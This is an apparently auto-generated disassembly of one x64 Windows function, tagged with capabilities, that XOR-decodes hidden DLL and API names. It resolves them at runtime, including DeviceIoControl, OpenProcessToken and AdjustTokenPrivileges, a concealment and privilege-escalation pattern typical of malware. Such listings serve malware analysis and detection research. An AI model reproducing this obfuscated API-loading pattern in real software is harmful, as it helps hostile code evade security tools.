Function at 0x140040350
Capabilities:
Encode data using xor
Link many functions at runtime

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x1c0
mov rax, qword [0x1400f5798]
xor rax, rsp
mov qword [rsp + 0x1b8], rax
mov r14, rcx
mov dword [r11 - 0x40], 0x889781a8
mov dword [r11 - 0x3c], 0xd8da8482
mov dword [r11 - 0x38], 0x828188c5
xor eax, eax
mov byte [r11 - 0x34], al
xor r15d, r15d
mov edx, r15d
movsxd rax, edx
lea rcx, [rsp + 0x198]
add rcx, rax
lea eax, [rdx - 0x1d]
xor byte [rcx], al
inc edx
cmp edx, 0xc
jb 0x1400403a0
mov byte [rsp + 0x1a4], r15b
lea rcx, [rsp + 0x198]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rsi, rax
test rax, rax
jne 0x1400403f2
lea rcx, [rsp + 0x198]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x14004103f
mov dword [rsp + 0x158], 0x888094ac
mov dword [rsp + 0x15c], 0x89869ab7
mov dword [rsp + 0x160], 0x9e9f8e
mov edx, r15d
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x158]
add rcx, rax
lea eax, [rdx - 0x1d]
xor byte [rcx], al
inc edx
cmp edx, 0xb
jb 0x140040420
mov byte [rsp + 0x163], r15b
mov qword [rsp + 0x178], r15
mov qword [rsp + 0x188], r15
mov qword [rsp + 0x190], reloc.OLEAUT32.dll_SafeArrayDestroy
lea rax, [rsp + 0x158]
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140040470
lea rdx, [rsp + 0x158]
lea rcx, [rsp + 0x178]
call fcn.140027860
lea rdx, [rsp + 0x178]
cmp qword [rsp + 0x190], 0x10
cmovae rdx, qword [rsp + 0x178]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov qword [r14], rax
mov rdx, qword [rsp + 0x190]
cmp rdx, 0x10
jb 0x1400404fb
inc rdx
mov rcx, qword [rsp + 0x178]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400404f6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004105a
call fcn.140085850
test rdi, rdi
je 0x140041060
movdqa xmm0, xmmword [0x1400b92e0]
movdqu xmmword [rsp + 0x158], xmm0
mov dword [rsp + 0x168], 0x86949aa0
mov dword [rsp + 0x16c], 0x8e969084
xor eax, eax
mov byte [rsp + 0x170], al
mov edx, r15d
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x158]
add rcx, rax
lea eax, [rdx - 0x1d]
xor byte [rcx], al
inc edx
cmp edx, 0x18
jb 0x140040540
mov byte [rsp + 0x170], 0
mov qword [rsp + 0x178], r15
mov qword [rsp + 0x188], r15
mov qword [rsp + 0x190], reloc.OLEAUT32.dll_SafeArrayDestroy
lea rax, [rsp + 0x158]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140040590
lea rdx, [rsp + 0x158]
lea rcx, [rsp + 0x178]
call fcn.140027860
lea rdx, [rsp + 0x178]
cmp qword [rsp + 0x190], 0x10
cmovae rdx, qword [rsp + 0x178]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov qword [r14 + 0x38], rax
mov rdx, qword [rsp + 0x190]
cmp rdx, 0x10
jb 0x14004061c
inc rdx
mov rcx, qword [rsp + 0x178]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140040617
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004107b
call fcn.140085850
test rdi, rdi
je 0x140041081
movdqa xmm0, xmmword [0x1400b9280]
movdqu xmmword [rsp + 0x158], xmm0
mov edx, r15d
nop dword [rax]
movsxd rax, edx
lea rcx, [rsp + 0x158]
add rcx, rax
lea eax, [rdx - 0x1d]
xor byte [rcx], al
inc edx
cmp edx, 0xf
jb 0x140040640
mov byte [rsp + 0x167], 0
mov qword [rsp + 0x178], r15
mov qword [rsp + 0x188], r15
mov qword [rsp + 0x190], reloc.OLEAUT32.dll_SafeArrayDestroy
lea rax, [rsp + 0x158]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140040690
lea rdx, [rsp + 0x158]
lea rcx, [rsp + 0x178]
call fcn.140027860
lea rdx, [rsp + 0x178]
cmp qword [rsp + 0x190], 0x10
cmovae rdx, qword [rsp + 0x178]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov qword [r14 + 0x40], rax
mov rdx, qword [rsp + 0x190]
cmp rdx, 0x10
jb 0x14004071c
inc rdx
mov rcx, qword [rsp + 0x178]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140040717
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004109c
call fcn.140085850
test rdi, rdi
je 0x1400410a2
mov dword [rsp + 0x158], 0x858a96b3
mov dword [rsp + 0x15c], 0xd99a9b82
mov dword [rsp + 0x160], 0x9688a2d9
mov word [rsp + 0x164], 0xa79b
xor eax, eax
mov byte [rsp + 0x166], al
mov edx, r15d
nop dword [rax]
movsxd rax, edx
lea rcx, [rsp + 0x158]
add rcx, rax
lea eax, [rdx - 0x1d]
xor byte [rcx], al
inc edx
cmp edx, 0xe
jb 0x140040760
mov byte [rsp + 0x166], 0
mov qword [rsp + 0x178], r15
mov qword [rsp + 0x188], r15
mov qword [rsp + 0x190], reloc.OLEAUT32.dll_SafeArrayDestroy
lea rax, [rsp + 0x158]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400407b0
lea rdx, [rsp + 0x158]
lea rcx, [rsp + 0x178]
call fcn.140027860
lea rdx, [rsp + 0x178]
cmp qword [rsp + 0x190], 0x10
cmovae rdx, qword [rsp + 0x178]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov qword [r14 + 0x48], rax
mov rdx, qword [rsp + 0x190]
cmp rdx, 0x10
jb 0x14004083c
inc rdx
mov rcx, qword [rsp + 0x178]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140040837
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400410bd
call fcn.140085850
test rdi, rdi
je 0x1400410c3
mov dword [rsp + 0x158], 0x93818bae
mov dword [rsp + 0x15c], 0xd8da8d8b
mov dword [rsp + 0x160], 0x9d9f85ad
mov word [rsp + 0x164], 0xa79b
xor eax, eax
mov byte [rsp + 0x166], al
mov edx, r15d
nop dword [rax]
movsxd rax, edx
lea rcx, [rsp + 0x158]
add rcx, rax
lea eax, [rdx - 0x1d]
xor byte [rcx], al
inc edx
cmp edx, 0xe
jb 0x140040880
mov byte [rsp + 0x166], 0
mov qword [rsp + 0x178], r15
mov qword [rsp + 0x188], r15
mov qword [rsp + 0x190], reloc.OLEAUT32.dll_SafeArrayDestroy
lea rax, [rsp + 0x158]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400408d0
lea rdx, [rsp + 0x158]
lea rcx, [rsp + 0x178]
call fcn.140027860
lea rdx, [rsp + 0x178]
cmp qword [rsp + 0x190], 0x10
cmovae rdx, qword [rsp + 0x178]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov qword [r14 + 0x50], rax
mov rdx, qword [rsp + 0x190]
cmp rdx, 0x10
jb 0x14004095c
inc rdx
mov rcx, qword [rsp + 0x178]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140040957
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400410e4
call fcn.140085850
test rdi, rdi
je 0x1400410ea
mov dword [rsp + 0x158], 0x93818bae
mov dword [rsp + 0x15c], 0xd8da8d8b
mov dword [rsp + 0x160], 0x9a9589a5
mov word [rsp + 0x164], 0xb8
mov edx, r15d
nop dword [rax]
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x158]
add rcx, rax
lea eax, [rdx - 0x1d]
xor byte [rcx], al
inc edx
cmp edx, 0xd
jb 0x1400409a0
mov byte [rsp + 0x165], 0
mov qword [rsp + 0x178], r15
mov qword [rsp + 0x188], r15
mov qword [rsp + 0x190], reloc.OLEAUT32.dll_SafeArrayDestroy
lea rax, [rsp + 0x158]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400409f0
lea rdx, [rsp + 0x158]
lea rcx, [rsp + 0x178]
call fcn.140027860
lea rdx, [rsp + 0x178]
cmp qword [rsp + 0x190], 0x10
cmovae rdx, qword [rsp + 0x178]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov qword [r14 + 0x58], rax
mov rdx, qword [rsp + 0x190]
cmp rdx, 0x10
jb 0x140040a7c
inc rdx
mov rcx, qword [rsp + 0x178]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140040a77
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004110b
call fcn.140085850
test rdi, rdi
je 0x140041111
movdqa xmm0, xmmword [0x1400b92d0]
movdqu xmmword [rsp + 0x158], xmm0
mov dword [rsp + 0x168], 0xbf8c869c
mov dword [rsp + 0x16c], 0x969e99
mov edx, r15d
nop
movsxd rax, edx
lea rcx, [rsp + 0x158]
add rcx, rax
lea eax, [rdx - 0x1d]
xor byte [rcx], al
inc edx
cmp edx, 0x17
jb 0x140040ab0
mov byte [rsp + 0x16f], 0
mov qword [rsp + 0x178], r15
mov qword [rsp + 0x188], r15
mov qword [rsp + 0x190], reloc.OLEAUT32.dll_SafeArrayDestroy
lea rax, [rsp + 0x158]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140040b00
lea rdx, [rsp + 0x158]
lea rcx, [rsp + 0x178]
call fcn.140027860
lea rdx, [rsp + 0x178]
cmp qword [rsp + 0x190], 0x10
cmovae rdx, qword [rsp + 0x178]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov qword [r14 + 0x60], rax
mov rdx, qword [rsp + 0x190]
cmp rdx, 0x10
jb 0x140040b8c
inc rdx
mov rcx, qword [rsp + 0x178]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140040b87
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140041132
call fcn.140085850
test rdi, rdi
je 0x140041138
lea rdx, str.DeviceIoControl
lea rcx, [rsp + 0x158]
call fcn.140039c10
mov edx, r15d
nop dword [rax]
movsxd rax, edx
lea rcx, [rsp + 0x158]
add rcx, rax
lea eax, [rdx - 0x1d]
xor byte [rcx], al
inc edx
cmp edx, 0xf
jb 0x140040bb0
mov byte [rsp + 0x167], 0
mov qword [rsp + 0x178], r15
mov qword [rsp + 0x188], r15
mov qword [rsp + 0x190], reloc.OLEAUT32.dll_SafeArrayDestroy
lea rax, [rsp + 0x158]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140040c00
lea rdx, [rsp + 0x158]
lea rcx, [rsp + 0x178]
call fcn.140027860
lea rdx, [rsp + 0x178]
cmp qword [rsp + 0x190], 0x10
cmovae rdx, qword [rsp + 0x178]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov qword [r14 + 0x70], rax
mov rdx, qword [rsp + 0x190]
cmp rdx, 0x10
jb 0x140040c8c
inc rdx
mov rcx, qword [rsp + 0x178]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140040c87
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140041159
call fcn.140085850
test rdi, rdi
je 0x14004115f
mov dword [rsp + 0x1a8], 0x879380a2
mov dword [rsp + 0x1ac], 0xd8da8197
mov dword [rsp + 0x1b0], 0x828188c5
xor eax, eax
mov byte [rsp + 0x1b4], al
mov edx, r15d
movsxd rax, edx
lea rcx, [rsp + 0x1a8]
add rcx, rax
lea eax, [rdx - 0x1d]
xor byte [rcx], al
inc edx
cmp edx, 0xc
jb 0x140040cc2
mov byte [rsp + 0x1b4], 0
lea rcx, [rsp + 0x1a8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rsi, rax
test rax, rax
jne 0x140040d14
lea rcx, [rsp + 0x1a8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x140041180
lea rdx, str.OpenProcessToken
lea rcx, [rsp + 0x158]
call fcn.140039b70
mov edx, r15d
nop dword [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x158]
add rcx, rax
lea eax, [rdx - 0x1d]
xor byte [rcx], al
inc edx
cmp edx, 0x10
jb 0x140040d30
mov byte [rsp + 0x168], 0
mov qword [rsp + 0x178], r15
mov qword [rsp + 0x188], r15
mov qword [rsp + 0x190], reloc.OLEAUT32.dll_SafeArrayDestroy
lea rax, [rsp + 0x158]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140040d80
lea rdx, [rsp + 0x158]
lea rcx, [rsp + 0x178]
call fcn.140027860
lea rdx, [rsp + 0x178]
cmp qword [rsp + 0x190], 0x10
cmovae rdx, qword [rsp + 0x178]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov qword [r14 + 0x78], rax
mov rdx, qword [rsp + 0x190]
cmp rdx, 0x10
jb 0x140040e0c
inc rdx
mov rcx, qword [rsp + 0x178]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140040e07
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400411a1
call fcn.140085850
test rdi, rdi
je 0x1400411a7
lea rdx, str.AdjustTokenPrivileges
lea rcx, [rsp + 0x158]
call fcn.140039aa0
mov edx, r15d
nop dword [rax]
movsxd rax, edx
lea rcx, [rsp + 0x158]
add rcx, rax
lea eax, [rdx - 0x1d]
xor byte [rcx], al
inc edx
cmp edx, 0x15
jb 0x140040e30
mov byte [rsp + 0x16d], 0
mov qword [rsp + 0x178], r15
mov qword [rsp + 0x188], r15
mov qword [rsp + 0x190], reloc.OLEAUT32.dll_SafeArrayDestroy
lea rax, [rsp + 0x158]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140040e80
lea rdx, [rsp + 0x158]
lea rcx, [rsp + 0x178]
call fcn.140027860
lea rdx, [rsp + 0x178]
cmp qword [rsp + 0x190], 0x10
cmovae rdx, qword [rsp + 0x178]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov qword [r14 + 0x88], rax
mov rdx, qword [rsp + 0x190]
cmp rdx, 0x10
jb 0x140040f0f
inc rdx
mov rcx, qword [rsp + 0x178]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140040f0a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400411c8
call fcn.140085850
test rdi, rdi
je 0x1400411ce
lea rdx, str.LookupPrivilegeValueW
lea rcx, [rsp + 0x158]
call fcn.140039aa0
mov edx, r15d
nop
movsxd rax, edx
lea rcx, [rsp + 0x158]
add rcx, rax
lea eax, [rdx - 0x1d]
xor byte [rcx], al
inc edx
cmp edx, 0x15
jb 0x140040f30
mov byte [rsp + 0x16d], 0
mov qword [rsp + 0x178], r15
mov qword [rsp + 0x188], r15
mov qword [rsp + 0x190], reloc.OLEAUT32.dll_SafeArrayDestroy
lea rax, [rsp + 0x158]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140040f76
mov r8, rbx
lea rdx, [rsp + 0x158]
lea rcx, [rsp + 0x178]
call fcn.140027860
lea rdx, [rsp + 0x178]
cmp qword [rsp + 0x190], 0x10
cmovae rdx, qword [rsp + 0x178]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov qword [r14 + 0x80], rax
mov rdx, qword [rsp + 0x190]
cmp rdx, 0x10
jb 0x140041007
inc rdx
mov rcx, qword [rsp + 0x178]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140041002
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400411ef
call fcn.140085850
test rbx, rbx
je 0x1400411f5
mov al, 1
jmp 0x140041016
mov rcx, qword [rsp + 0x1b8]
xor rcx, rsp
call fcn.140085e50
lea r11, [rsp + 0x1c0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
lea rcx, [rsp + 0x20]
call fcn.14003a830
lea rdx, [0x1400f3338]
lea rcx, [rsp + 0x20]
call fcn.140086db4
call fcn.14008c06c
int3
lea rcx, [rsp + 0x38]
call fcn.14003a830
lea rdx, [0x1400f3338]
lea rcx, [rsp + 0x38]
call fcn.140086db4
call fcn.14008c06c
int3
lea rcx, [rsp + 0x50]
call fcn.14003a830
lea rdx, [0x1400f3338]
lea rcx, [rsp + 0x50]
call fcn.140086db4
call fcn.14008c06c
int3
lea rcx, [rsp + 0x68]
call fcn.14003a830
lea rdx, [0x1400f3338]
lea rcx, [rsp + 0x68]
call fcn.140086db4
call fcn.14008c06c
int3
lea rcx, [rsp + 0x80]
call fcn.14003a830
lea rdx, [0x1400f3338]
lea rcx, [rsp + 0x80]
call fcn.140086db4
call fcn.14008c06c
int3
lea rcx, [rsp + 0x98]
call fcn.14003a830
lea rdx, [0x1400f3338]
lea rcx, [rsp + 0x98]
call fcn.140086db4
call fcn.14008c06c
int3
lea rcx, [rsp + 0xb0]
call fcn.14003a830
lea rdx, [0x1400f3338]
lea rcx, [rsp + 0xb0]
call fcn.140086db4
call fcn.14008c06c
int3
lea rcx, [rsp + 0xc8]
call fcn.14003a830
lea rdx, [0x1400f3338]
lea rcx, [rsp + 0xc8]
call fcn.140086db4
call fcn.14008c06c
int3
lea rcx, [rsp + 0xe0]
call fcn.14003a830
lea rdx, [0x1400f3338]
lea rcx, [rsp + 0xe0]
call fcn.140086db4
lea rcx, [rsp + 0xf8]
call fcn.14003a830
lea rdx, [0x1400f3338]
lea rcx, [rsp + 0xf8]
call fcn.140086db4
call fcn.14008c06c
int3
lea rcx, [rsp + 0x110]
call fcn.14003a830
lea rdx, [0x1400f3338]
lea rcx, [rsp + 0x110]
call fcn.140086db4
call fcn.14008c06c
int3
lea rcx, [rsp + 0x128]
call fcn.14003a830
lea rdx, [0x1400f3338]
lea rcx, [rsp + 0x128]
call fcn.140086db4
call fcn.14008c06c
int3
lea rcx, [rsp + 0x140]
call fcn.14003a830
lea rdx, [0x1400f3338]
lea rcx, [rsp + 0x140]
call fcn.140086db4
int3